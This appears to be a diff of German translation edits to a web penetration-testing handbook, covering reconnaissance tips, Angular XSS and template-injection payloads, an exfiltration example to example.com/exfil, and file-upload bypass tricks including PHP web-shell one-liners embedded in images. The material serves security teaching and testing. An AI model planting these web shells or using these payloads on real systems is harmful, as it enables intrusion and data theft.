- **API-Schlüssel**: Wenn Sie **einen API-Schlüssel finden**, gibt es eine Anleitung, die angibt, wie man API-Schlüssel verschiedener Plattformen verwendet: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API-Schlüssel: Wenn Sie einen API-Schlüssel finden, der wie **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik aussieht, können Sie das Projekt [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) verwenden, um zu überprüfen, auf welche APIs der Schlüssel zugreifen kann.
|
||||
- **S3-Buckets**: Achten Sie beim Spidering darauf, ob eine **Subdomain** oder ein **Link** mit einem **S3-Bucket** verbunden ist. In diesem Fall [**überprüfen** Sie die **Berechtigungen** des Buckets](buckets/index.html).
|
||||
- **S3-Buckets**: Überprüfen Sie beim Spidering, ob eine **Subdomain** oder ein **Link** mit einem **S3-Bucket** verbunden ist. In diesem Fall [**überprüfen** Sie die **Berechtigungen** des Buckets](buckets/index.html).
|
||||
|
||||
### Besondere Funde
|
||||
|
||||
@ -288,17 +288,17 @@ _Bedenken Sie, dass jedes Mal, wenn während des Brute-Forcings oder Spiderings
|
||||
**Interessante Dateien**
|
||||
|
||||
- Suchen Sie nach **Links** zu anderen Dateien in den **CSS**-Dateien.
|
||||
- [Wenn Sie eine _**.git**_ Datei finden, können einige Informationen extrahiert werden](git.md)
|
||||
- Wenn Sie eine _**.env**_ finden, können Informationen wie API-Schlüssel, Datenbankpasswörter und andere Informationen gefunden werden.
|
||||
- [Wenn Sie eine _**.git**_-Datei finden, können einige Informationen extrahiert werden](git.md).
|
||||
- Wenn Sie eine _**.env**_-Datei finden, können Informationen wie API-Schlüssel, Datenbankpasswörter und andere Informationen gefunden werden.
|
||||
- Wenn Sie **API-Endpunkte** finden, [sollten Sie diese ebenfalls testen](web-api-pentesting.md). Diese sind keine Dateien, sehen aber wahrscheinlich "so aus".
|
||||
- **JS-Dateien**: Im Abschnitt Spidering wurden mehrere Tools erwähnt, die Pfade aus JS-Dateien extrahieren können. Es wäre auch interessant, **jede gefundene JS-Datei zu überwachen**, da in einigen Fällen eine Änderung darauf hindeuten kann, dass eine potenzielle Sicherheitsanfälligkeit im Code eingeführt wurde. Sie könnten beispielsweise [**JSMon**](https://github.com/robre/jsmon)**.** verwenden.
|
||||
- Sie sollten auch entdeckte JS-Dateien mit [**RetireJS**](https://github.com/retirejs/retire.js/) oder [**JSHole**](https://github.com/callforpapers-source/jshole) überprüfen, um herauszufinden, ob sie anfällig sind.
|
||||
- **JS-Dateien**: Im Abschnitt Spidering wurden mehrere Tools erwähnt, die Pfade aus JS-Dateien extrahieren können. Es wäre auch interessant, **jede gefundene JS-Datei zu überwachen**, da in einigen Fällen eine Änderung darauf hindeuten kann, dass eine potenzielle Sicherheitsanfälligkeit im Code eingeführt wurde. Sie könnten beispielsweise [**JSMon**](https://github.com/robre/jsmon)** verwenden.**
|
||||
- Sie sollten auch entdeckte JS-Dateien mit [**RetireJS**](https://github.com/retirejs/retire.js/) oder [**JSHole**](https://github.com/callforpapers-source/jshole) überprüfen, um festzustellen, ob sie anfällig sind.
|
||||
- **Javascript Deobfuscator und Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
- **JsFuck-Deobfuskation** (JavaScript mit Zeichen:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- In mehreren Fällen müssen Sie die **regulären Ausdrücke** verstehen, die verwendet werden. Dies wird nützlich sein: [https://regex101.com/](https://regex101.com) oder [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- Sie könnten auch **die Dateien überwachen, in denen Formulare erkannt wurden**, da eine Änderung im Parameter oder das Auftauchen eines neuen Formulars auf eine potenziell neue anfällige Funktionalität hinweisen kann.
|
||||
- In mehreren Fällen müssen Sie die **regulären Ausdrücke** verstehen, die verwendet werden. Dies wird nützlich sein: [https://regex101.com/](https://regex101.com) oder [https://pythonium.net/regex](https://pythonium.net/regex).
|
||||
- Sie könnten auch die Dateien überwachen, in denen Formulare erkannt wurden, da eine Änderung im Parameter oder das Auftreten eines neuen Formulars auf eine potenziell neue anfällige Funktionalität hinweisen kann.
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (Umgehung)**
|
||||
|
||||
@ -334,7 +334,7 @@ Weitere Informationen zu Web-Sicherheitsanfälligkeiten finden Sie unter:
|
||||
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
|
||||
- [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
|
||||
|
||||
### Überwachen von Seiten auf Änderungen
|
||||
### Seiten auf Änderungen überwachen
|
||||
|
||||
Sie können Tools wie [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) verwenden, um Seiten auf Änderungen zu überwachen, die Sicherheitsanfälligkeiten einfügen könnten.
|
||||
|
||||
|
||||
@ -58,13 +58,13 @@ Das Angular-Framework übersetzt TypeScript-Dateien in JavaScript-Code, indem es
|
||||
"hidden": false
|
||||
}
|
||||
```
|
||||
Allgemein werden Sourcemap-Dateien zu Debugging-Zwecken verwendet, da sie generierte Dateien mit ihren ursprünglichen Dateien verknüpfen. Daher wird nicht empfohlen, sie in einer Produktionsumgebung zu verwenden. Wenn Sourcemaps aktiviert sind, verbessert sich die Lesbarkeit und unterstützt die Dateianalyse, indem der ursprüngliche Zustand des Angular-Projekts repliziert wird. Wenn sie jedoch deaktiviert sind, kann ein Prüfer eine kompilierte JavaScript-Datei manuell analysieren, indem er nach anti-sicherheitsmustern sucht.
|
||||
Allgemein werden Sourcemap-Dateien zu Debugging-Zwecken verwendet, da sie generierte Dateien ihren ursprünglichen Dateien zuordnen. Daher wird nicht empfohlen, sie in einer Produktionsumgebung zu verwenden. Wenn Sourcemaps aktiviert sind, verbessert sich die Lesbarkeit und unterstützt die Dateianalyse, indem der ursprüngliche Zustand des Angular-Projekts repliziert wird. Wenn sie jedoch deaktiviert sind, kann ein Prüfer eine kompilierte JavaScript-Datei manuell analysieren, indem er nach anti-sicherheitsmustern sucht.
|
||||
|
||||
Darüber hinaus kann eine kompilierte JavaScript-Datei mit einem Angular-Projekt in den Entwicklertools des Browsers → Quellen (oder Debugger und Quellen) → \[id].main.js gefunden werden. Abhängig von den aktivierten Optionen kann diese Datei die folgende Zeile am Ende enthalten `//# sourceMappingURL=[id].main.js.map` oder sie kann es nicht, wenn die **hidden**-Option auf **true** gesetzt ist. Dennoch wird das Testen komplexer, wenn die Sourcemap für **Skripte** deaktiviert ist, und wir können die Datei nicht erhalten. Darüber hinaus kann die Sourcemap während des Projektbaus aktiviert werden, wie `ng build --source-map`.
|
||||
|
||||
## Datenbindung
|
||||
|
||||
Binding bezieht sich auf den Prozess der Kommunikation zwischen einer Komponente und ihrer entsprechenden Ansicht. Es wird verwendet, um Daten an das Angular-Framework zu übertragen und von diesem zu empfangen. Daten können auf verschiedene Weise übergeben werden, z. B. durch Ereignisse, Interpolation, Eigenschaften oder durch den Mechanismus der bidirektionalen Bindung. Darüber hinaus können Daten auch zwischen verwandten Komponenten (Eltern-Kind-Beziehung) und zwischen zwei nicht verwandten Komponenten mithilfe der Service-Funktion geteilt werden.
|
||||
Binding bezieht sich auf den Prozess der Kommunikation zwischen einer Komponente und ihrer entsprechenden Ansicht. Es wird verwendet, um Daten an das Angular-Framework zu übertragen und von diesem zu empfangen. Daten können auf verschiedene Weise übergeben werden, z. B. über Ereignisse, Interpolation, Eigenschaften oder über den Mechanismus der bidirektionalen Bindung. Darüber hinaus können Daten auch zwischen verwandten Komponenten (Eltern-Kind-Beziehung) und zwischen zwei nicht verwandten Komponenten mithilfe der Service-Funktion geteilt werden.
|
||||
|
||||
Wir können Binding nach Datenfluss klassifizieren:
|
||||
|
||||
@ -74,18 +74,18 @@ Wir können Binding nach Datenfluss klassifizieren:
|
||||
|
||||
Binding kann auf Eigenschaften, Ereignisse und Attribute sowie auf jedes öffentliche Mitglied einer Quellrichtlinie angewendet werden:
|
||||
|
||||
| TYP | ZIEL | BEISPIELE |
|
||||
| -------- | -------------------------------------------------------- | ------------------------------------------------------------------ |
|
||||
| Eigenschaft | Elementeigenschaft, Komponenteneigenschaft, Direktiveigenschaft | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
|
||||
| Ereignis | Elementereignis, Komponenteneignis, Direktivereignis | \<button type="button" (click)="onSave()">Speichern |
|
||||
| Zwei-Wege | Ereignis und Eigenschaft | \<input \[(ngModel)]="name"> |
|
||||
| Attribut | Attribut (die Ausnahme) | \<button type="button" \[attr.aria-label]="help">Hilfe |
|
||||
| Klasse | Klassen-Eigenschaft | \<div \[class.special]="isSpecial">Spezial |
|
||||
| Stil | Stil-Eigenschaft | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
|
||||
| TYP | ZIEL | BEISPIELE |
|
||||
| -------- | -------------------------------------------------------- | -------------------------------------------------------------------- |
|
||||
| Eigenschaft | Elementeigenschaft, Komponenteneigenschaft, Direktiveigenschaft | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
|
||||
| Ereignis | Elementereignis, Komponenteneignis, Direktivereignis | \<button type="button" (click)="onSave()">Speichern |
|
||||
| Zwei-Wege | Ereignis und Eigenschaft | \<input \[(ngModel)]="name"> |
|
||||
| Attribut | Attribut (die Ausnahme) | \<button type="button" \[attr.aria-label]="help">hilfe |
|
||||
| Klasse | Klassen-Eigenschaft | \<div \[class.special]="isSpecial">Spezial |
|
||||
| Stil | Stil-Eigenschaft | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
|
||||
|
||||
## Angular-Sicherheitsmodell
|
||||
|
||||
Das Design von Angular umfasst standardmäßig die Kodierung oder Sanitärung aller Daten, was es zunehmend schwierig macht, XSS-Schwachstellen in Angular-Projekten zu entdecken und auszunutzen. Es gibt zwei unterschiedliche Szenarien für die Datenverarbeitung:
|
||||
Das Design von Angular umfasst standardmäßig die Kodierung oder Sanitärung aller Daten, was es zunehmend schwierig macht, XSS-Schwachstellen in Angular-Projekten zu entdecken und auszunutzen. Es gibt zwei verschiedene Szenarien für die Datenverarbeitung:
|
||||
|
||||
1. Interpolation oder `{{user_input}}` - führt kontextabhängige Kodierung durch und interpretiert Benutzereingaben als Text;
|
||||
|
||||
@ -121,9 +121,9 @@ Es gibt 6 Typen von `SecurityContext` :
|
||||
|
||||
## Schwachstellen
|
||||
|
||||
### Umgehung von Sicherheitsvertrauensmethoden
|
||||
### Umgehung der Sicherheitsvertrauensmethoden
|
||||
|
||||
Angular führt eine Liste von Methoden ein, um den standardmäßigen Sanitärungsprozess zu umgehen und anzuzeigen, dass ein Wert sicher in einem bestimmten Kontext verwendet werden kann, wie in den folgenden fünf Beispielen:
|
||||
Angular führt eine Liste von Methoden ein, um den standardmäßigen Sanitärungsprozess zu umgehen und anzuzeigen, dass ein Wert in einem bestimmten Kontext sicher verwendet werden kann, wie in den folgenden fünf Beispielen:
|
||||
|
||||
1. `bypassSecurityTrustUrl` wird verwendet, um anzuzeigen, dass der angegebene Wert eine sichere Stil-URL ist:
|
||||
|
||||
@ -162,7 +162,7 @@ this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg
|
||||
<h1>html tag</h1>
|
||||
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
|
||||
```
|
||||
4. `bypassSecurityTrustScript` wird verwendet, um anzuzeigen, dass der angegebene Wert sicheres JavaScript ist. Wir haben jedoch festgestellt, dass sein Verhalten unvorhersehbar ist, da wir keinen JS-Code in Templates mit dieser Methode ausführen konnten.
|
||||
4. `bypassSecurityTrustScript` wird verwendet, um anzuzeigen, dass der angegebene Wert sicheres JavaScript ist. Wir haben jedoch festgestellt, dass sein Verhalten unvorhersehbar ist, da wir keinen JS-Code in Vorlagen mit dieser Methode ausführen konnten.
|
||||
|
||||
```jsx
|
||||
//app.component.ts
|
||||
@ -184,14 +184,14 @@ this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: u
|
||||
<input type="password" name="pwd" value="01234" [style]="trustedStyle">
|
||||
|
||||
//Ergebnis
|
||||
Request URL: GET example.com/exfil/a
|
||||
Anforderungs-URL: GET example.com/exfil/a
|
||||
```
|
||||
|
||||
Angular bietet eine `sanitize`-Methode, um Daten zu sanitieren, bevor sie in Ansichten angezeigt werden. Diese Methode verwendet den bereitgestellten Sicherheitskontext und reinigt die Eingabe entsprechend. Es ist jedoch entscheidend, den richtigen Sicherheitskontext für die spezifischen Daten und den Kontext zu verwenden. Beispielsweise bietet die Anwendung eines Sanitizers mit `SecurityContext.URL` auf HTML-Inhalt keinen Schutz gegen gefährliche HTML-Werte. In solchen Szenarien könnte der Missbrauch des Sicherheitskontexts zu XSS-Schwachstellen führen.
|
||||
|
||||
### HTML-Injection
|
||||
|
||||
Diese Schwachstelle tritt auf, wenn Benutzereingaben an eines der drei Eigenschaften gebunden werden: `innerHTML`, `outerHTML` oder `iframe` `srcdoc`. Während das Binden an diese Attribute HTML so interpretiert, wie es ist, wird die Eingabe mit `SecurityContext.HTML` sanitisiert. Daher ist HTML-Injection möglich, aber Cross-Site-Scripting (XSS) nicht.
|
||||
Diese Schwachstelle tritt auf, wenn Benutzereingaben an eines der drei Eigenschaften gebunden werden: `innerHTML`, `outerHTML` oder `iframe` `srcdoc`. Während das Binden an diese Attribute HTML so interpretiert, wie es ist, wird die Eingabe mit `SecurityContext.HTML` sanitisiert. Daher ist HTML-Injection möglich, aber Cross-Site-Scripting (XSS) ist es nicht.
|
||||
|
||||
Beispiel für die Verwendung von `innerHTML`:
|
||||
```jsx
|
||||
@ -214,11 +214,11 @@ test = "<script>alert(1)</script><h1>test</h1>";
|
||||
|
||||
### Template-Injection
|
||||
|
||||
#### Client-Seitige Darstellung (CSR)
|
||||
#### Client-Side Rendering (CSR)
|
||||
|
||||
Angular nutzt Templates, um Seiten dynamisch zu erstellen. Der Ansatz besteht darin, Template-Ausdrücke für Angular innerhalb von doppelten geschweiften Klammern (`{{}}`) einzuschließen. Auf diese Weise bietet das Framework zusätzliche Funktionalität. Zum Beispiel würde ein Template wie `{{1+1}}` als 2 angezeigt werden.
|
||||
Angular nutzt Templates, um Seiten dynamisch zu erstellen. Der Ansatz besteht darin, Template-Ausdrücke für Angular zur Auswertung in doppelte geschweifte Klammern (`{{}}`) einzuschließen. Auf diese Weise bietet das Framework zusätzliche Funktionalität. Zum Beispiel würde ein Template wie `{{1+1}}` als 2 angezeigt werden.
|
||||
|
||||
Typischerweise entkommt Angular Benutzereingaben, die mit Template-Ausdrücken verwechselt werden können (z. B. Zeichen wie \`< > ' " \`\`). Das bedeutet, dass zusätzliche Schritte erforderlich sind, um diese Einschränkung zu umgehen, wie die Nutzung von Funktionen, die JavaScript-String-Objekte generieren, um die Verwendung von auf der Blacklist stehenden Zeichen zu vermeiden. Um dies zu erreichen, müssen wir jedoch den Angular-Kontext, seine Eigenschaften und Variablen berücksichtigen. Daher könnte ein Template-Injection-Angriff wie folgt aussehen:
|
||||
Typischerweise entkommt Angular Benutzereingaben, die mit Template-Ausdrücken verwechselt werden können (z. B. Zeichen wie \`< > ' " \`\`). Das bedeutet, dass zusätzliche Schritte erforderlich sind, um diese Einschränkung zu umgehen, wie die Verwendung von Funktionen, die JavaScript-String-Objekte generieren, um die Verwendung von auf der Blacklist stehenden Zeichen zu vermeiden. Um dies zu erreichen, müssen wir jedoch den Angular-Kontext, seine Eigenschaften und Variablen berücksichtigen. Daher könnte ein Template-Injection-Angriff wie folgt aussehen:
|
||||
```jsx
|
||||
//app.component.ts
|
||||
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
|
||||
@ -227,19 +227,19 @@ selector: 'app-root',
|
||||
template: '<h1>title</h1>' + _userInput
|
||||
})
|
||||
```
|
||||
Wie oben gezeigt, bezieht sich `constructor` auf den Geltungsbereich der Objekt `constructor`-Eigenschaft, die es uns ermöglicht, den String-Konstruktor aufzurufen und beliebigen Code auszuführen.
|
||||
Wie oben gezeigt, bezieht sich `constructor` auf den Geltungsbereich der Object `constructor`-Eigenschaft, was es uns ermöglicht, den String-Konstruktor aufzurufen und beliebigen Code auszuführen.
|
||||
|
||||
#### Server-Side Rendering (SSR)
|
||||
|
||||
Im Gegensatz zu CSR, das im DOM des Browsers erfolgt, ist Angular Universal für SSR von Template-Dateien verantwortlich. Diese Dateien werden dann an den Benutzer geliefert. Trotz dieser Unterscheidung wendet Angular Universal die gleichen Sanitization-Mechanismen an, die auch in CSR verwendet werden, um die Sicherheit von SSR zu verbessern. Eine Template-Injection-Sicherheitsanfälligkeit in SSR kann auf die gleiche Weise wie in CSR erkannt werden, da die verwendete Template-Sprache dieselbe ist.
|
||||
Im Gegensatz zu CSR, das im DOM des Browsers erfolgt, ist Angular Universal für SSR von Template-Dateien verantwortlich. Diese Dateien werden dann an den Benutzer geliefert. Trotz dieser Unterscheidung wendet Angular Universal die gleichen Sanitization-Mechanismen an, die auch in CSR verwendet werden, um die Sicherheit von SSR zu verbessern. Eine Template-Injection-Schwachstelle in SSR kann auf die gleiche Weise wie in CSR erkannt werden, da die verwendete Template-Sprache dieselbe ist.
|
||||
|
||||
Natürlich besteht auch die Möglichkeit, neue Template-Injection-Sicherheitsanfälligkeiten einzuführen, wenn Drittanbieter-Template-Engines wie Pug und Handlebars verwendet werden.
|
||||
Natürlich besteht auch die Möglichkeit, neue Template-Injection-Schwachstellen einzuführen, wenn Drittanbieter-Template-Engines wie Pug und Handlebars verwendet werden.
|
||||
|
||||
### XSS
|
||||
|
||||
#### DOM-Schnittstellen
|
||||
|
||||
Wie bereits erwähnt, können wir direkt auf das DOM über die _Document_-Schnittstelle zugreifen. Wenn Benutzereingaben nicht vorher validiert werden, kann dies zu Cross-Site-Scripting (XSS)-Sicherheitsanfälligkeiten führen.
|
||||
Wie bereits erwähnt, können wir direkt auf das DOM über die _Document_-Schnittstelle zugreifen. Wenn Benutzereingaben nicht vorher validiert werden, kann dies zu Cross-Site-Scripting (XSS)-Schwachstellen führen.
|
||||
|
||||
Wir haben die Methoden `document.write()` und `document.createElement()` in den folgenden Beispielen verwendet:
|
||||
```jsx
|
||||
@ -446,7 +446,7 @@ $palias.append(html);
|
||||
|
||||
#### DOM-Schnittstellen
|
||||
|
||||
Laut der W3C-Dokumentation werden die Objekte `window.location` und `document.location` in modernen Browsern als Aliase behandelt. Deshalb haben sie eine ähnliche Implementierung einiger Methoden und Eigenschaften, was zu einem offenen Redirect und DOM-XSS mit `javascript://`-Schema-Angriffen führen kann, wie unten erwähnt.
|
||||
Laut der W3C-Dokumentation werden die Objekte `window.location` und `document.location` in modernen Browsern als Aliase behandelt. Deshalb haben sie eine ähnliche Implementierung einiger Methoden und Eigenschaften, was zu einem offenen Redirect und DOM-XSS mit `javascript://`-Schemaangriffen führen kann, wie unten erwähnt.
|
||||
|
||||
* `window.location.href`(und `document.location.href`)
|
||||
|
||||
|
||||
@ -31,7 +31,7 @@ Weitere nützliche Erweiterungen:
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. Versuchen Sie, die Schutzmaßnahmen **zu umgehen, indem Sie den Erweiterungsparser** des Servers mit Techniken wie **Verdopplung** der **Erweiterung** oder **Hinzufügen von Junk**-Daten (**null** Bytes) zwischen den Erweiterungen täuschen. _Sie können auch die **vorherigen Erweiterungen** verwenden, um eine bessere Payload vorzubereiten._
|
||||
4. Versuchen Sie, die Schutzmaßnahmen zu umgehen, indem Sie den **Erweiterungsparser** des Servers mit Techniken wie **Verdopplung** der **Erweiterung** oder **Hinzufügen von Junk**-Daten (**null** Bytes) zwischen den Erweiterungen täuschen. _Sie können auch die **vorherigen Erweiterungen** verwenden, um eine bessere Payload vorzubereiten._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -40,7 +40,7 @@ Weitere nützliche Erweiterungen:
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. Fügen Sie **eine weitere Ebene von Erweiterungen** zur vorherigen Überprüfung hinzu:
|
||||
5. Fügen Sie **eine weitere Schicht von Erweiterungen** zur vorherigen Überprüfung hinzu:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Versuchen Sie, die **exec-Erweiterung vor der gültigen Erweiterung** zu setzen und beten Sie, dass der Server falsch konfiguriert ist. (nützlich zur Ausnutzung von Apache-Misconfigurationen, bei denen alles mit der Erweiterung **_**.php**_**, aber nicht unbedingt endend in .php** Code ausführt):
|
||||
@ -51,7 +51,7 @@ Weitere nützliche Erweiterungen:
|
||||
```
|
||||
# Linux maximal 255 Bytes
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier und .png hinzufügen
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier und Hinzufügen von .png
|
||||
# Laden Sie die Datei hoch und überprüfen Sie die Antwort, wie viele Zeichen sie zulässt. Angenommen 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
@ -61,13 +61,13 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
### Umgehung von Content-Type, Magic Number, Kompression & Größenänderung
|
||||
|
||||
- Umgehung der **Content-Type**-Überprüfungen, indem Sie den **Wert** des **Content-Type** **Headers** auf: _image/png_, _text/plain_, application/octet-stream_ setzen.
|
||||
- Umgehung der **Content-Type**-Überprüfungen, indem der **Wert** des **Content-Type**-**Headers** auf: _image/png_, _text/plain_, application/octet-stream_ gesetzt wird.
|
||||
1. Content-Type **Wortliste**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Umgehung der **Magic Number**-Überprüfung, indem Sie am Anfang der Datei die **Bytes eines echten Bildes** hinzufügen (verwirren Sie den _file_ Befehl). Oder führen Sie die Shell in die **Metadaten** ein:\
|
||||
- Umgehung der **Magic Number**-Überprüfung, indem am Anfang der Datei die **Bytes eines echten Bildes** hinzugefügt werden (verwirren Sie den _file_-Befehl). Oder führen Sie die Shell in die **Metadaten** ein:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` oder Sie könnten auch **die Payload direkt** in ein Bild einfügen:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Wenn **Kompression zu Ihrem Bild hinzugefügt wird**, zum Beispiel mit einigen Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), werden die vorherigen Techniken nicht nützlich sein. Sie könnten jedoch die **PLTE-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
|
||||
- Wenn **Kompression zu Ihrem Bild hinzugefügt wird**, beispielsweise mit einigen Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die vorherigen Techniken nicht nützlich. Sie könnten jedoch die **PLTE-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
|
||||
- [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Die Webseite könnte auch das **Bild** **verkleinern**, indem sie beispielsweise die PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled` verwendet. Sie könnten jedoch die **IDAT-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
|
||||
- [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
@ -76,8 +76,8 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
### Weitere Tricks zur Überprüfung
|
||||
|
||||
- Finden Sie eine Schwachstelle, um die Datei, die bereits hochgeladen wurde, **umzubenennen** (um die Erweiterung zu ändern).
|
||||
- Finden Sie eine **Local File Inclusion**-Schwachstelle, um das Backdoor auszuführen.
|
||||
- Finden Sie eine Schwachstelle, um die bereits hochgeladene Datei **umzubenennen** (um die Erweiterung zu ändern).
|
||||
- Finden Sie eine **Local File Inclusion**-Schwachstelle, um die Hintertür auszuführen.
|
||||
- **Mögliche Informationsoffenlegung**:
|
||||
1. Laden Sie **mehrmals** (und zur **gleichen Zeit**) die **gleiche Datei** mit dem **gleichen Namen** hoch.
|
||||
2. Laden Sie eine Datei mit dem **Namen** einer **Datei** oder **Ordners**, der **bereits existiert**.
|
||||
@ -85,7 +85,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
4. Laden Sie eine Datei hoch, die möglicherweise nicht leicht gelöscht werden kann, wie **“…:.jpg”** in **NTFS**. (Windows)
|
||||
5. Laden Sie eine Datei in **Windows** mit **ungültigen Zeichen** wie `|<>*?”` in ihrem Namen hoch. (Windows)
|
||||
6. Laden Sie eine Datei in **Windows** mit **reservierten** (**verbotenen**) **Namen** wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 und LPT9 hoch.
|
||||
- Versuchen Sie auch, eine **ausführbare** Datei (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, die **Code ausführt**, wenn sie versehentlich vom Opfer geöffnet wird.
|
||||
- Versuchen Sie auch, eine **ausführbare Datei** (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, die **Code ausführt**, wenn sie versehentlich vom Opfer geöffnet wird.
|
||||
|
||||
### Besondere Erweiterungstricks
|
||||
|
||||
@ -94,7 +94,7 @@ Wenn Sie versuchen, Dateien auf einen **ASP-Server** hochzuladen, [sehen Sie sic
|
||||
|
||||
Die `.phar`-Dateien sind wie die `.jar` für Java, aber für PHP, und können **wie eine PHP-Datei verwendet werden** (indem sie mit PHP ausgeführt oder in ein Skript eingebunden werden...)
|
||||
|
||||
Die `.inc`-Erweiterung wird manchmal für PHP-Dateien verwendet, die nur zum **Importieren von Dateien** verwendet werden, sodass jemand zu einem bestimmten Zeitpunkt **diese Erweiterung zur Ausführung** zulassen könnte.
|
||||
Die `.inc`-Erweiterung wird manchmal für PHP-Dateien verwendet, die nur zum **Importieren von Dateien** verwendet werden, sodass jemand zu einem bestimmten Zeitpunkt **diese Erweiterung zur Ausführung** zugelassen haben könnte.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
